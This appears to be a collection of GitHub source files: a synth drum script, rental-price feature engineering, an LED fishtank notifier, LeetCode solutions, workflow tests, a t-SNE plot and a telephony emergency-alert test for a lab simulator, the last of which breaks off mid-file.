+{"seq_id":"3616064624","text":"#! /usr/bin/python\nfrom __future__ import division\n\nfrom pytronica import *\n\n\nf = Controller(1000)\nf.lineto(.01, 250)\nf.lineto(.08, 40)\nf.lineto(1, 40)\n\ne = Controller(1)\ne.lineto(.13, 1)\ne.lineto(.18, 0)\na = e * Saw(f)\n\nstep = 60/120\nc = Chain()\nfor _ in range(4):\n c.add(a, step)\nc = Chain([c]*16)\nc.play()\n#c.audacity()\n","repo_name":"chriswatrous/pytronica","sub_path":"songs/experiments/bass_drum.py","file_name":"bass_drum.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"2655457558","text":"import pandas as pd\nimport numpy as np\nimport random\nimport logging\nfrom collections import Counter\nfrom boruta import BorutaPy\nfrom lightgbm import LGBMRegressor\nimport gc\n\n\nlogging.basicConfig(level=logging.INFO, format=\"%(asctime)-15s %(message)s\")\nlogger = logging.getLogger()\n\ndef haversine(lat1, lon1, lat2, lon2, to_radians=True, earth_radius=6371):\n \"\"\"\n slightly modified version: of http://stackoverflow.com/a/29546836/2901002\n\n Calculate the great circle distance between two points\n on the earth (specified in decimal degrees or in radians)\n\n All (lat, lon) coordinates must have numeric dtypes and be of equal length.\n\n \"\"\"\n if to_radians:\n lat1, lon1, lat2, lon2 = np.radians([lat1, lon1, lat2, lon2])\n\n a = np.sin((lat2-lat1)/2.0)**2 + \\\n np.cos(lat1) * np.cos(lat2) * np.sin((lon2-lon1)/2.0)**2\n\n return earth_radius * 2 * np.arcsin(np.sqrt(a))\n\n\n\n\ndef get_distance(df:pd.DataFrame):\n '''\n function to calculates distances to each corner, calculated from minimum and\n maximum latitude and longitude\n df: pd.DataFrame\n '''\n\n\n df['min_latitude'] = min(df['latitude'])\n df['min_longitude'] = min(df['longitude'])\n \n df['max_latitude'] = max(df['latitude'])\n df['max_longitude'] = max(df['longitude'])\n\n \n for i in ['min','max']:\n for j in ['min','max']:\n \n df['distance_'+i+'_'+j] = df[[i+'_latitude', j+'_longitude', 'latitude','longitude']].apply(lambda x: haversine(x[1], x[0], x[3], x[2]), axis=1)\n \n \n df.drop(columns=['min_latitude','min_longitude','max_latitude','max_longitude'],inplace=True)\n \n \n return df\n\n\ndef price_interpol(grouper:list,shft:list):\n '''\n interpolate the missing values for the missing period for each grouper dataframe\n grouper: list of pd.DataFrames\n shft: amount of periods in the past to account for \n '''\n\n grouper = grouper.iloc[:-shft,:]\n grouper['year_month'] = grouper['year_month'].astype(str)+'-01'\n grouper['year_month'] = pd.to_datetime(grouper['year_month'])\n \n months = pd.date_range(\n start=str(grouper['year_month'].min()), end=str(grouper['year_month'].max()), freq='MS')\n \n grouper['year_month'] = grouper['year_month'].astype(str).str[:7]\n \n col = grouper.iloc[:,0] \n for month in months:\n for group in col.unique():\n if group != group:\n continue\n \n if str(month)[:7] not in grouper[grouper[col.name]==group]['year_month'].values:\n grouper = grouper.append(pd.DataFrame([[group,str(month)[:7],np.nan,np.nan]],\n columns=grouper.columns)).reset_index(drop=True)\n \n grouper = grouper.sort_values(by='year_month').reset_index(drop=True)\n \n grouper['year_month'] = grouper['year_month'].astype(str)+'-01'\n grouper['year_month'] = pd.to_datetime(grouper['year_month'])\n grouper.set_index('year_month',inplace=True)\n \n grouper[grouper.columns[1]] = grouper[grouper.columns[1]].astype(float)\n grouper[grouper.columns[2]] = grouper[grouper.columns[2]].astype(float)\n \n for group in col.unique():\n grouper.loc[grouper[col.name]==group,grouper.columns[1]] = grouper.loc[grouper[col.name]==group,grouper.columns[1]].interpolate(method='time').bfill().ffill()\n grouper.loc[grouper[col.name]==group,grouper.columns[2]] = grouper.loc[grouper[col.name]==group,grouper.columns[2]].interpolate(method='time').bfill().ffill()\n \n grouper = grouper.reset_index()\n \n grouper['year_month'] = grouper['year_month'].astype(str).str[:7] \n return grouper\n\n\ndef create_group(df:pd.DataFrame,groupers:list,col:str,period:str,shft:list,interpol=False):\n '''\n creates the groups of 'price' mean and median by `col` and `period`, shifts it\n by each value of `shft`, calls the `price_interpol` functon if `interpol` is True\n and store them in the `groupers` list\n '''\n \n for sh in shft:\n \n temp = df.copy()\n \n temp['price'] = temp.groupby([col,period])['price'].shift(-sh)\n\n grouper = temp.groupby([col,period]).agg(price_mean=('price','mean'),price_median=('price','median')).reset_index()\n\n if interpol: grouper = price_interpol(grouper,max(shft))\n \n grouper.rename(columns={'price_mean':col+'_'+str(sh)+'_'+period+'_price_mean','price_median':col+'_'+str(sh)+'_'+period+'_price_median'},inplace=True)\n groupers.append(grouper)\n df = pd.merge(df,grouper,on=[col,period],how='left')\n df.drop_duplicates(subset=['id'],inplace=True)\n \n return df,groupers\n\n\ndef grouping(df:pd.DataFrame):\n '''\n calls `create_group` function for each of three specific columns to get the values\n for the `price` of 3 months ago and 1 year ago\n '''\n\n groupers = []\n df[df.dtypes[df.dtypes=='object'].index.tolist()] = df[df.dtypes[df.dtypes=='object'].index.tolist()].astype(str)\n\n for col in ['room_type','neighbourhood','neighbourhood_group']:\n df,groupers = create_group(df,groupers,col,'year',[1])\n df,groupers = create_group(df,groupers,col,'year_month',[3],True)\n \n return df,groupers\n\n\ndef fill_missing(df:pd.DataFrame,groupers:list, dummies:list,to_remove=[]):\n '''\n brings the wanted columns of list `dummies` to the dataframe `df`, fills missing month \n and year dates by finding the 10 most closest `prices` of each dataframe in `groupers`\n and computing the overall most common date and concatenates `df` with each dataframe\n in the `groupers` list\n '''\n\n\n df = get_distance(df)\n df[df.dtypes[df.dtypes=='object'].index.tolist()] = df[df.dtypes[df.dtypes=='object'].index.tolist()].astype(str)\n\n if not to_remove:\n to_remove = ['neighbourhood', 'year','year_month','id','host_id']\n\n merging_groups = [grouper for grouper in groupers if len([x for x in grouper.columns if 'month' in x])>0]\n\n df['year'] = df['last_review'].astype(str).str[:4]\n df['year_month'] = df['last_review'].astype(str).str[:7]\n\n missings = df[df['last_review'].isna()]\n df.dropna(subset=['last_review'],inplace=True)\n \n if len(missings)>0:\n \n idxs = missings.index.tolist()\n for idx in idxs:\n dates = []\n\n price = missings.loc[idx,'price']\n\n for grouper in merging_groups:\n\n col = grouper.columns[1]\n class_ = missings.loc[idx,col]\n\n prices = grouper[grouper[col] == class_].iloc[:,-2]\n closest_idx = prices.iloc[(prices-price).abs().argsort()[:10]].index\n dates+=grouper.iloc[closest_idx,0].values.tolist()\n\n date = sorted(Counter(dates).items(), key=lambda item: item[1])[-1][0]\n\n missings.loc[idx,'year_month'] = str(date)[:7]\n missings.loc[idx,'year'] = str(date)[:4]\n \n df = pd.concat([df,missings],axis=1)\n \n \n for grouper in groupers:\n\n period = grouper.columns[1]\n col = grouper.columns[0]\n df[period] = df[period].astype(str)\n grouper[period] = grouper[period].astype(str)\n df = pd.merge(df,grouper,on=[col,period],how='left')\n\n missing_dummies = pd.get_dummies(df[['neighbourhood','neighbourhood_group','room_type']],dummy_na=True)\n df = pd.concat([df,missing_dummies],axis=1)\n df = df.drop(columns=to_remove)\n df[dummies.columns[~dummies.columns.isin(missing_dummies)]] = 0\n df.drop(columns = missing_dummies.columns[~missing_dummies.columns.isin(dummies)],inplace=True)\n\n df.drop(columns = 'room_type_nan',inplace=True)\n \n return df\n\n\ndef final_adjustments(df:pd.DataFrame): \n '''\n drop unwanted columns, get dummies for specific columns and redefine some columns types\n ''' \n\n df.drop_duplicates(subset=['id'],inplace=True) \n \n dummies = pd.get_dummies(df[['neighbourhood','neighbourhood_group','room_type']],dummy_na=True)\n df = pd.concat([df,dummies],axis=1)\n df = df.drop(columns=['room_type_nan', 'neighbourhood', 'year','year_month','id','host_id'])\n df.columns = [x.replace('/','_').replace('-','_').replace(',',' ').replace(\"'\",'') for x in df.columns]\n \n slicer = (df.dtypes == 'uint8')\n df[df.columns[slicer]] = df[df.columns[slicer]].astype(int)\n\n return df, dummies.columns.tolist()\n\n\ndef interpolating(df:pd.DataFrame):\n '''\n transforms `year_month` into an accountable float column ot then interpolate it to fill\n some missing values\n '''\n\n df['year'] = df['last_review'].astype(str).str[:4]\n df['year_month'] = df['last_review'].astype(str).str[:7]\n\n df = df.sort_values(by=['room_type','neighbourhood','longitude','latitude'])\n df.loc[df['year_month']!='nan','year_month'] = df.loc[df['year_month']!='nan','year_month'].str[:4].astype(float)*1000+(df.loc[df['year_month']!='nan','year_month'].str[5:].astype(int)*99/11).astype(float)\n df.loc[df['year_month']=='nan','year_month'] = np.nan\n df['year_month'] = df['year_month'].astype(float).interpolate(method='linear')\n df['year_month'] = df['year_month'].astype(str).str[:4]+'-0'+(df['year_month'].astype(str).str[5:].astype(float)*11/99).apply(np.ceil).astype(int).astype(str)\n df.dropna(subset=['year_month'],inplace=True)\n\n df.loc[df['year_month'].str[-3:].isin(['010','011','012']),'year_month'] = df.loc[df['year_month'].str[-3:].isin(['010','011','012']),'year_month'].str.replace('-0','-')\n df.loc[df['year']=='nan','year'] = df.loc[df['year']=='nan','year_month'].str[:4].astype(int)\n\n return df\n\ndef reducing_features(df:pd.DataFrame):\n '''\n uses Boruta to find the most important features\n '''\n\n X = df.drop(columns=['name','neighbourhood_group','room_type','host_name','last_review','reviews_per_month']).dropna()\n y = X.pop('price')\n\n\n model = LGBMRegressor(n_estimators=300, max_depth=50, random_state=42)\n\n # let's initialize Boruta\n feat_selector = BorutaPy(\n verbose=1,\n estimator=model,\n n_estimators='auto',\n max_iter=50 # number of iterations to perform\n )\n\n # train Boruta\n # N.B.: X and y must be numpy arrays\n feat_selector.fit(np.array(X), np.array(y))\n\n # print support and ranking for each feature\n\n gc.collect()\n cols = list(X.columns[feat_selector.support_])\n logger.info(f'{len(cols)} features remaining')\n return cols","repo_name":"dangstan/build-ml-pipeline-for-short-term-rental-prices","sub_path":"src/advanced_feature_engineer/feature_engineer.py","file_name":"feature_engineer.py","file_ext":"py","file_size_in_byte":10433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"91"}
+{"seq_id":"37316543338","text":"#!/usr/bin/python3\n\n# Fishtank master control unit\n\n# We expect Rainbow Swirl or other suitable effect to be running at priority 100\n\nimport socket\nimport time\nimport subprocess\n\nimport emailCheck\n# Define those functions first\n\n\ndef flash_lights(server, port, msg):\n\tx = 0\n\t# echo '{\"color\":[0,255,0],\"command\":\"color\",\"priority\":1}' | nc localhost 19444\n\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n\tsock.connect( (server, port) )\n\twhile x < 5:\n\t\t#result = sock.recv(4096)\n\t\tsock.sendall(msg)\n\t\t#print(result)\n\t\ttime.sleep(0.8)\n\t\tblank = '{\"color\":[0,0,0],\"command\":\"color\",\"priority\":1}\\n' # Black\n\t\tsock.sendall(blank.encode('utf8'))\n\t\ttime.sleep(0.3)\n\t\tx += 1\n\t# Reset to previous state\n\ttime.sleep(0.5)\n\tclear = '{\"command\":\"clear\",\"priority\":1}\\n'\n\tsock.sendall(clear.encode('utf8'))\n\n# Main function\n\nif __name__ == '__main__':\n\n\tred = [255,0,0]\n\tgreen = [0,255,0]\n\tblue = [0,0,255]\n\n\t#response = subprocess.call([\"./emailCheck.py\", \"-q\"])\n\tresponse = subprocess.check_output(['./emailCheck.py', '-q'])\n\tif response == b'up\\n':\n\t\tmessage = '{\"color\":[0,255,0],\"command\":\"color\",\"priority\":1}\\n'\n\t\tflash_lights('192.168.1.47', 19444, message.encode('utf8'))\n","repo_name":"djsmiley2k/smileys-random-tools","sub_path":"fishtank.py","file_name":"fishtank.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"4339572246","text":"class Solution:\n def isInterleave(self, s1: str, s2: str, s3: str) -> bool:\n m = len(s1)\n n = len(s2)\n if m+n != len(s3):\n return False\n ans = [[False]*(n+1) for _ in range(m+1)]\n ans[0][0] = True\n for i in range(1, m+1):\n ans[i][0] = ans[i-1][0] and (s1[i-1] == s3[i-1])\n for j in range(1, n+1):\n ans[0][j] = ans[0][j-1] and (s2[j-1] == s3[j-1])\n for i in range(1, m+1):\n for j in range(1, n+1):\n ans[i][j] = s1[i-1] == s3[i+j-1] and ans[i-1][j] or s2[j-1] == s3[i+j-1] and ans[i][j-1]\n return ans[m][n]\n ","repo_name":"ShallowAlex/leetcode-py","sub_path":"1-100/97.py","file_name":"97.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"771271108","text":"\"\"\"Miscallaneous testing\"\"\"\n\n# pylint: disable=redefined-outer-name, import-error, missing-function-docstring, missing-class-docstring, invalid-name, attribute-defined-outside-init, unused-import\n\nfrom pathlib import Path\nimport shutil\nimport pytest\n\nfrom maize.core.component import Component\nfrom maize.core.interface import Input, Output\nfrom maize.core.node import Node\nfrom maize.core.workflow import Workflow\nfrom maize.steps.io import LoadFile, LoadFiles, Log, SaveFile, SaveFiles\nfrom maize.steps.plumbing import Copy, Delay, RoundRobin, Scatter, Multiply\nfrom maize.utilities.testing import TestRig\nfrom maize.utilities.macros import parallel\n\n\n@pytest.fixture\ndef mock_parent():\n return Component(name=\"parent\")\n\n\n@pytest.fixture\ndef node_hybrid(mock_parent):\n class TestNode(Node):\n inp: Input[int] = Input()\n inp_default: Input[int] = Input(default=17)\n inp_optional: Input[int] = Input(optional=True)\n out: Output[int] = Output()\n\n def run(self):\n a = self.inp.receive()\n b = self.inp_default.receive()\n c = 0\n if self.inp_optional.ready():\n c = self.inp_optional.receive()\n self.out.send(a + b + c)\n\n return TestNode\n\n\nclass Test_interfaces:\n def test_input(self, node_hybrid):\n rig = TestRig(node_hybrid)\n res = rig.setup_run(inputs={\"inp\": [42]})\n assert res[\"out\"].get() == 42 + 17\n\n rig = TestRig(node_hybrid)\n res = rig.setup_run(inputs={\"inp\": [42], \"inp_optional\": [2]})\n assert res[\"out\"].get() == 42 + 17 + 2\n\n rig = TestRig(node_hybrid)\n res = rig.setup_run(inputs={\"inp\": [42], \"inp_default\": [16], \"inp_optional\": [2]})\n assert res[\"out\"].get() == 42 + 16 + 2\n\n\ndef test_multi_file_load_save(shared_datadir, tmp_path):\n flow = Workflow(level=\"debug\")\n data = flow.add(\n LoadFiles[Path],\n parameters={\n \"files\": [shared_datadir / \"testorigin.abc\", shared_datadir / \"testorigin2.abc\"]\n },\n )\n save = flow.add(SaveFiles[Path], parameters={\"destination\": tmp_path})\n flow.connect(data.out, save.inp)\n flow.execute()\n assert (tmp_path / \"testorigin.abc\").exists()\n assert (tmp_path / \"testorigin2.abc\").exists()\n\n\ndef test_multi_file_load_copy_save(shared_datadir, tmp_path):\n dest1 = tmp_path / \"save1\"\n dest2 = tmp_path / \"save2\"\n dest1.mkdir(), dest2.mkdir()\n flow = Workflow(level=\"debug\")\n data = flow.add(\n LoadFiles[Path],\n parameters={\n \"files\": [shared_datadir / \"testorigin.abc\", shared_datadir / \"testorigin2.abc\"]\n },\n )\n copy = flow.add(Copy[list[Path]])\n log = flow.add(Log[list[Path]])\n save1 = flow.add(SaveFiles[Path], name=\"save1\", parameters={\"destination\": dest1})\n save2 = flow.add(SaveFiles[Path], name=\"save2\", parameters={\"destination\": dest2})\n flow.connect(data.out, log.inp)\n flow.connect(log.out, copy.inp)\n flow.connect(copy.out, save1.inp)\n flow.connect(copy.out, save2.inp)\n flow.execute()\n assert (dest1 / \"testorigin.abc\").exists()\n assert (dest1 / \"testorigin2.abc\").exists()\n assert (dest2 / \"testorigin.abc\").exists()\n assert (dest2 / \"testorigin2.abc\").exists()\n\n\ndef test_parallel_file(shared_datadir, tmp_path):\n flow = Workflow(level=\"debug\")\n data = flow.add(LoadFile[Path], parameters={\"file\": shared_datadir / \"testorigin.abc\"})\n mult = flow.add(Multiply[Path], parameters={\"n_packages\": 2})\n scat = flow.add(Scatter[Path])\n dela = flow.add(parallel(Log[Path], n_branches=2, loop=True))\n roro = flow.add(RoundRobin[Path])\n out1 = flow.add(SaveFile[Path], name=\"out1\", parameters={\"destination\": tmp_path / \"test1.abc\"})\n out2 = flow.add(SaveFile[Path], name=\"out2\", parameters={\"destination\": tmp_path / \"test2.abc\"})\n flow.connect(data.out, mult.inp)\n flow.connect(mult.out, scat.inp)\n flow.connect(scat.out, dela.inp)\n flow.connect(dela.out, roro.inp)\n flow.connect(roro.out, out1.inp)\n flow.connect(roro.out, out2.inp)\n flow.execute()\n assert (tmp_path / \"test1.abc\").exists()\n assert (tmp_path / \"test2.abc\").exists()\n\n\ndef test_parallel_file_many(shared_datadir, tmp_path):\n class _Test(Node):\n inp: Input[Path] = Input(mode=\"copy\")\n out: Output[Path] = Output(mode=\"copy\")\n\n def run(self) -> None:\n file = self.inp.receive()\n out = Path(\"local.abc\")\n shutil.copy(file, out)\n self.out.send(out)\n\n n_files = 2\n flow = Workflow(level=\"debug\", cleanup_temp=False)\n data = flow.add(LoadFile[Path], parameters={\"file\": shared_datadir / \"testorigin.abc\"})\n mult = flow.add(Multiply[Path], parameters={\"n_packages\": n_files})\n scat = flow.add(Scatter[Path])\n dela = flow.add(parallel(_Test, n_branches=4, loop=True))\n roro = flow.add(RoundRobin[Path])\n for i in range(n_files):\n out = flow.add(\n SaveFile[Path], name=f\"out{i}\", parameters={\"destination\": tmp_path / f\"test{i}.abc\"}\n )\n flow.connect(roro.out, out.inp)\n\n flow.connect(data.out, mult.inp)\n flow.connect(mult.out, scat.inp)\n flow.connect(scat.out, dela.inp)\n flow.connect(dela.out, roro.inp)\n flow.execute()\n for i in range(n_files):\n assert (tmp_path / f\"test{i}.abc\").exists()\n\n\ndef test_file_copy(shared_datadir, tmp_path):\n flow = Workflow()\n data = flow.add(LoadFile[Path], parameters={\"file\": shared_datadir / \"testorigin.abc\"})\n copy = flow.add(Copy[Path])\n out1 = flow.add(SaveFile[Path], name=\"out1\", parameters={\"destination\": tmp_path / \"test1.abc\"})\n out2 = flow.add(SaveFile[Path], name=\"out2\", parameters={\"destination\": tmp_path / \"test2.abc\"})\n flow.connect(data.out, copy.inp)\n flow.connect(copy.out, out1.inp)\n flow.connect(copy.out, out2.inp)\n flow.execute()\n assert (tmp_path / \"test1.abc\").exists()\n assert (tmp_path / \"test2.abc\").exists()\n\n\ndef test_file_copy_delay(shared_datadir, tmp_path):\n flow = Workflow()\n data = flow.add(LoadFile[Path], parameters={\"file\": shared_datadir / \"testorigin.abc\"})\n copy = flow.add(Copy[Path])\n del1 = flow.add(Delay[Path], name=\"del1\", parameters={\"delay\": 2})\n del2 = flow.add(Delay[Path], name=\"del2\", parameters={\"delay\": 5})\n out1 = flow.add(SaveFile[Path], name=\"out1\", parameters={\"destination\": tmp_path / \"test1.abc\"})\n out2 = flow.add(SaveFile[Path], name=\"out2\", parameters={\"destination\": tmp_path / \"test2.abc\"})\n flow.connect(data.out, del1.inp)\n flow.connect(del1.out, copy.inp)\n flow.connect(copy.out, out2.inp)\n flow.connect(copy.out, del2.inp)\n flow.connect(del2.out, out1.inp)\n flow.execute()\n assert (tmp_path / \"test1.abc\").exists()\n assert (tmp_path / \"test2.abc\").exists()\n\n\ndef test_nested_file_copy(shared_datadir, tmp_path):\n flow = Workflow()\n data = flow.add(LoadFile[Path], parameters={\"file\": shared_datadir / \"testorigin.abc\"})\n copy1 = flow.add(Copy[Path], name=\"copy1\")\n copy2 = flow.add(Copy[Path], name=\"copy2\")\n out1 = flow.add(SaveFile[Path], name=\"out1\", parameters={\"destination\": tmp_path / \"test1.abc\"})\n out2 = flow.add(SaveFile[Path], name=\"out2\", parameters={\"destination\": tmp_path / \"test2.abc\"})\n out3 = flow.add(SaveFile[Path], name=\"out3\", parameters={\"destination\": tmp_path / \"test3.abc\"})\n flow.connect(data.out, copy1.inp)\n flow.connect(copy1.out, out1.inp)\n flow.connect(copy1.out, copy2.inp)\n flow.connect(copy2.out, out2.inp)\n flow.connect(copy2.out, out3.inp)\n flow.execute()\n assert (tmp_path / \"test1.abc\").exists()\n assert (tmp_path / \"test2.abc\").exists()\n assert (tmp_path / \"test3.abc\").exists()\n\n\ndef test_file_load(shared_datadir, tmp_path):\n flow = Workflow()\n data = flow.add(LoadFile[Path], parameters={\"file\": shared_datadir / \"testorigin.abc\"})\n out = flow.add(SaveFile[Path], parameters={\"destination\": tmp_path / \"test.abc\"})\n flow.connect(data.out, out.inp)\n flow.execute()\n assert (tmp_path / \"test.abc\").exists()\n assert (shared_datadir / \"testorigin.abc\").exists()\n","repo_name":"MolecularAI/maize","sub_path":"tests/test_misc.py","file_name":"test_misc.py","file_ext":"py","file_size_in_byte":8097,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"}
+{"seq_id":"3737951053","text":"import os\nimport pickle\nimport numpy as np\nfrom collections import Counter\nfrom MulticoreTSNE import MulticoreTSNE as TSNE\nimport matplotlib\nimport matplotlib.pyplot as plt\n\ndef load_prediction(filepath):\n \"\"\"load prediction index\n Params:\n ------------------\n filepath : string\n path to prediction index file\n\n Returns:\n ------------------\n pred_list : list\n list of cluster idx (prediction)\n \"\"\"\n f = open(filepath)\n pred_list = []\n counter = 0\n for idx, pred in enumerate(f):\n if idx % 5 == 0:\n pred_list.append(int(pred[:-1]))\n\n return pred_list\n\n\nwith open(\"../voxel/test_data_filename.pkl\", \"rb\") as f:\n test_filename = pickle.load(f)\n\npred_list = load_prediction(\"../what3d_clusters/predictions.txt\")\npred_list = np.asarray(pred_list)\n\n\n# class_list = {}\n# for file in test_filename:\n# class_type = file.split(\"/\")[0]\n# if class_type not in class_list:\n# class_list[class_type] = 1\n# else:\n# class_list[class_type] += 1\n#\n# overall_class = [k for k in class_list.keys()]\n# overall_class.sort()\n# class_index = []\n# for file in test_filename:\n# class_type = file.split(\"/\")[0]\n# idx = overall_class.index(class_type)\n# class_index.append(idx)\n# class_index = np.asarray(class_index)\n\n\n###################### Plot Clustering ######################\ndistance_matrix = np.load(\"distance_matrix/Cluster_all_distance_matrix.npy\") #distance_matrix/Cluster_all_distance_matrix.npy Pred_all_distance_matrix.npy\nmodel = TSNE(perplexity=30, n_jobs=8, metric=\"precomputed\")\nembeddings = model.fit_transform(distance_matrix)\n# np.save(\"Pred_embedding.npy\", embeddings)\n\n# embeddings = np.load(\"clustering_embedding.npy\") # \"Pred_embedding.npy\" \"clustering_embedding.npy\"\n\n# LINE_STYLES = ['.', 'o', '+', 'dotted']\nNUM_COLORS = 500\n# # cm = plt.get_cmap('gist_rainbow')\n# cmap = plt.get_cmap('jet')\n# colors = cmap(np.linspace(0, 1.0, 500))\n# fig = plt.figure()\n# ax = fig.add_subplot(111)\n# for i in range(NUM_COLORS):\n# data_idx = np.where(pred_list[:]==i)[0]\n# if i == 1:\n# c = 2\n# if len(data_idx) == 0:\n# continue\n# cx, cy = embeddings[data_idx, 0], embeddings[data_idx, 1]\n# # ax.plot(cx, cy, marker='.', markersize=2, linestyle='None', color=float(i) / 500.)\n# # ax.scatter(cx, cy, c=float(i) / 500.)\n# # lines = ax.plot(cx, cy, marker='.', markersize=2, linestyle='None', colors=float(i)/500.)\n# # x = 1\n# # lines[0].set_color(rgba_color)\n# # lines[0].set_color(cm(i//3*3.0/NUM_COLORS))\n# # lines[0].set_color(cm(i / NUM_COLORS))\n\ncluster = np.arange(0,NUM_COLORS)\ncmap = plt.get_cmap('jet')\ncolors = cmap(np.linspace(0, 1.0, 500))\nfig = plt.figure()\nax = fig.add_subplot(111)\nfor cl, color in zip(cluster, colors):\n data_idx = np.where(pred_list[:]==cl)[0]\n if len(data_idx) == 0:\n continue\n cx, cy = embeddings[data_idx, 0], embeddings[data_idx, 1]\n plt.plot(cx, cy, '.', linestyle='None', color=color, markersize=2)\n\nplt.xticks([], [])\nplt.yticks([], [])\nplt.xlim([-70, 70])\nplt.ylim([-70, 70])\nfig.savefig('Clustering_TSNE.png')\nplt.show()\n\n###################### Plot Clustering ######################\n","repo_name":"arqam-ai/SVR","sub_path":"eval/TSNE.py","file_name":"TSNE.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"38868874927","text":"class Solution:\n def isMatch(self, s: str, p: str) -> bool:\n dp=[[False for i in range(len(p)+1)] for i in range(len(s)+1)]\n dp[0][0]=True\n # * can match empty string if * is the first char\n for j in range(1,len(p)+1):\n if p[j - 1] == '*':\n dp[0][j] = dp[0][j - 1]\n for i in range(1,len(s)+1):\n for j in range(1,len(p)+1):\n if p[j-1]=='?'or s[i-1]==p[j-1]:\n dp[i][j]=dp[i-1][j-1]\n elif p[j-1]=='*':\n dp[i][j]=(dp[i][j-1] or dp[i-1][j])\n return dp[len(s)][len(p)]\n#https://www.youtube.com/watch?v=DSJ9kFsA_gs\n#https://www.geeksforgeeks.org/wildcard-pattern-matching/\n\n ","repo_name":"junone/Algorithme","sub_path":"Dynamic programming/WhildCard-matching.py","file_name":"WhildCard-matching.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"36814382129","text":"import time\n\nfrom acts.controllers.anritsu_lib._anritsu_utils import AnritsuError\nfrom acts.controllers.anritsu_lib.md8475a import MD8475A\nfrom acts.controllers.anritsu_lib.md8475a import CBCHSetup\nfrom acts.controllers.anritsu_lib.md8475a import CTCHSetup\nfrom acts_contrib.test_utils.tel.anritsu_utils import ETWS_WARNING_EARTHQUAKETSUNAMI\nfrom acts_contrib.test_utils.tel.anritsu_utils import ETWS_WARNING_OTHER_EMERGENCY\nfrom acts_contrib.test_utils.tel.anritsu_utils import cb_serial_number\nfrom acts_contrib.test_utils.tel.anritsu_utils import etws_receive_verify_message_lte_wcdma\nfrom acts_contrib.test_utils.tel.anritsu_utils import set_system_model_gsm\nfrom acts_contrib.test_utils.tel.anritsu_utils import set_system_model_lte\nfrom acts_contrib.test_utils.tel.anritsu_utils import set_system_model_wcdma\nfrom acts_contrib.test_utils.tel.anritsu_utils import set_usim_parameters\nfrom acts_contrib.test_utils.tel.anritsu_utils import set_post_sim_params\nfrom acts_contrib.test_utils.tel.tel_defines import NETWORK_MODE_CDMA\nfrom acts_contrib.test_utils.tel.tel_defines import NETWORK_MODE_GSM_ONLY\nfrom acts_contrib.test_utils.tel.tel_defines import NETWORK_MODE_GSM_UMTS\nfrom acts_contrib.test_utils.tel.tel_defines import NETWORK_MODE_LTE_GSM_WCDMA\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_1XRTT\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_GSM\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_LTE\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_WCDMA\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_FAMILY_CDMA2000\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_FAMILY_GSM\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_FAMILY_LTE\nfrom acts_contrib.test_utils.tel.tel_defines import RAT_FAMILY_UMTS\nfrom acts_contrib.test_utils.tel.tel_test_utils import ensure_network_rat\nfrom acts_contrib.test_utils.tel.tel_test_utils import ensure_phones_idle\nfrom acts_contrib.test_utils.tel.tel_test_utils import toggle_airplane_mode\nfrom acts_contrib.test_utils.tel.tel_test_utils import start_qxdm_loggers\nfrom acts_contrib.test_utils.tel.TelephonyBaseTest import TelephonyBaseTest\nfrom acts.test_decorators import test_tracker_info\n\nWAIT_TIME_BETWEEN_REG_AND_MSG = 15 # default 15 sec\n\n\nclass TelLabEtwsTest(TelephonyBaseTest):\n SERIAL_NO = cb_serial_number()\n\n def setup_class(self):\n super().setup_class()\n self.ad = self.android_devices[0]\n self.ad.sim_card = getattr(self.ad, \"sim_card\", None)\n self.md8475a_ip_address = self.user_params[\n \"anritsu_md8475a_ip_address\"]\n self.wlan_option = self.user_params.get(\"anritsu_wlan_option\", False)\n self.md8475_version = self.user_params.get(\"md8475\", \"A\")\n self.ad.adb.shell(\"settings put secure cmas_additional_broadcast_pkg \"\n \"com.googlecode.android_scripting\")\n self.wait_time_between_reg_and_msg = self.user_params.get(\n \"wait_time_between_reg_and_msg\", WAIT_TIME_BETWEEN_REG_AND_MSG)\n\n try:\n self.anritsu = MD8475A(self.md8475a_ip_address, self.wlan_option,\n self.md8475_version)\n except AnritsuError:\n self.log.error(\"Error in connecting to Anritsu Simulator\")\n return False\n return True\n\n def setup_test(self):\n if getattr(self, \"qxdm_log\", True):\n start_qxdm_loggers(self.log, self.android_devices)\n ensure_phones_idle(self.log, self.android_devices)\n toggle_airplane_mode(self.log, self.ad, True)\n return True\n\n def teardown_test(self):\n self.log.info(\"Stopping Simulation\")\n self.anritsu.stop_simulation()\n toggle_airplane_mode(self.log, self.ad, True)\n\n def teardown_class(self):\n self.anritsu.disconnect()\n return True\n\n def _send_receive_etws_message(self, set_simulation_func, rat, message_id,\n warning_message):\n try:\n [self.bts1] = set_simulation_func(self.anritsu, self.user_params,\n self.ad.sim_card)\n set_usim_parameters(self.anritsu, self.ad.sim_card)\n if rat == RAT_LTE:\n set_post_sim_params(self.anritsu, self.user_params,\n self.ad.sim_card)\n self.anritsu.start_simulation()\n\n if rat == RAT_LTE:\n preferred_network_setting = NETWORK_MODE_LTE_GSM_WCDMA\n rat_family = RAT_FAMILY_LTE\n elif rat == RAT_WCDMA:\n self.bts1.wcdma_ctch = CTCHSetup.CTCH_ENABLE\n self.ad.droid.telephonyToggleDataConnection(False)\n preferred_network_setting = NETWORK_MODE_GSM_UMTS\n rat_family = RAT_FAMILY_UMTS\n elif rat == RAT_GSM:\n self.bts1.gsm_cbch = CBCHSetup.CBCH_ENABLE\n 